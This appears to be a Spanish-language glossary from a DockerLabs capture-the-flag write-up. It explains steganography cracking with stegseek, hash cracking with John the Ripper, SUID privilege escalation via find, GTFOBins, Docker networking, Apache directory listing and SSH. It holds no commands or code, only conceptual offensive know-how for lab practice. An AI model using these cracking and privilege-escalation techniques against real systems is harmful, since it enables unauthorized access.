La esteganografía (del griego "escritura oculta") es el arte de esconder información dentro de otros archivos de forma imperceptible. steghide es un programa que embebe datos dentro de imágenes JPEG o BMP modificando los bits menos significativos (LSB) de los píxeles con una clave (passphrase). El cambio visual es invisible al ojo humano. stegseek es un cracker de steghide que prueba millones de passphrases por segundo usando un diccionario, automatizando lo que sería imposible manualmente. Cuando se extrae el archivo, se obtiene el contenido original oculto.
John the Ripper — Crackeo de Hashes
John the Ripper es uno de los crackers de contraseñas más veteranos y versátiles. Soporta cientos de formatos de hash (MD5, SHA, bcrypt, NTLM, PKZIP, etc.). Funciona en varios modos: Wordlist attack (prueba cada palabra de un diccionario), Rules attack (aplica transformaciones a las palabras: mayúsculas, números al final, sustituciones), y Brute force (prueba todas las combinaciones posibles). El hash nunca se "descifra" — se calcula el hash de candidatos hasta encontrar uno que coincida con el hash objetivo. zip2john extrae el hash en formato compatible con John.
SUID — Set User ID Bit
El bit SUID (Set User ID) es un permiso especial de Unix que, cuando está activado en un ejecutable, hace que el programa corra con el UID (User ID) del propietario del archivo en lugar del UID del usuario que lo ejecuta. Si un binario tiene SUID y es propiedad de root, cualquier usuario puede ejecutarlo y obtendrá permisos de root durante esa ejecución. Binarios legítimos con SUID incluyen /usr/bin/passwd (para que cualquier usuario pueda cambiar su propia contraseña) o /usr/bin/sudo. El problema surge cuando binarios que permiten ejecutar código arbitrario (como find, python, vim) tienen SUID — se convierten en vectores de escalada de privilegios.
GTFOBins — Binarios Unix para Privesc
GTFOBins (gtfobins.github.io) es un repositorio curado y mantenido por la comunidad de ciberseguridad que documenta cómo binarios Unix estándar pueden ser abusados para: escalar privilegios (SUID/sudo), leer/escribir archivos arbitrarios, obtener shells, o exfiltrar datos. El nombre viene de "Get The F*** Out (of restricted environments)". Para cada binario, documenta los casos aplicables con el comando exacto a usar. Es la referencia definitiva para post-explotación en Linux.
Docker — Contenedores y Redes
Docker es una plataforma de contenedorización que permite empaquetar aplicaciones con todas sus dependencias en unidades aisladas llamadas contenedores. A diferencia de las máquinas virtuales, los contenedores comparten el kernel del host y son mucho más ligeros. Docker crea automáticamente una red bridge (docker0) con el rango 172.17.0.0/16: el host recibe 172.17.0.1 y los contenedores se asignan secuencialmente (172.17.0.2, etc.). Esta arquitectura es la que usa DockerLabs para sus máquinas vulnerables.
Directory Listing de Apache
El directory listing (listado de directorio) ocurre cuando Apache muestra el contenido de una carpeta en lugar de un error 403, porque el directorio no contiene un archivo index.html o index.php y la opción Options +Indexes está habilitada (o -Indexes no está configurada). Esto expone todos los archivos del directorio al visitante. Es una mala configuración frecuente: en un entorno de producción nunca debería estar habilitado, ya que revela la estructura de archivos del servidor. En CTFs, a menudo es intencional como pista.
Escalada de Privilegios Local (LPE)
La escalada de privilegios local es el proceso por el cual un usuario con acceso limitado al sistema obtiene permisos de superusuario (root). En Linux, los vectores más comunes son: SUID mal configurados (binarios que ejecutan código arbitrario como root), sudo mal configurado (el usuario puede ejecutar ciertos comandos como root sin contraseña), cron jobs (tareas programadas que ejecutan scripts modificables por el usuario), vulnerabilidades del kernel, y credenciales mal almacenadas. En esta máquina, el vector es un binario SUID (find).
SSH — Secure Shell
SSH (Secure Shell) es un protocolo de red criptográfico para operar servicios de red de forma segura sobre redes no seguras. Cifra toda la comunicación mediante claves asimétricas y/o contraseñas. Funciona en el puerto 22 por defecto. El proceso de autenticación puede ser: por contraseña (la contraseña viaja cifrada por el túnel SSH) o por clave pública (se genera un par de claves pública/privada; el servidor guarda la pública y el cliente demuestra que tiene la privada sin enviarla). Es el método estándar para administrar servidores Linux remotamente.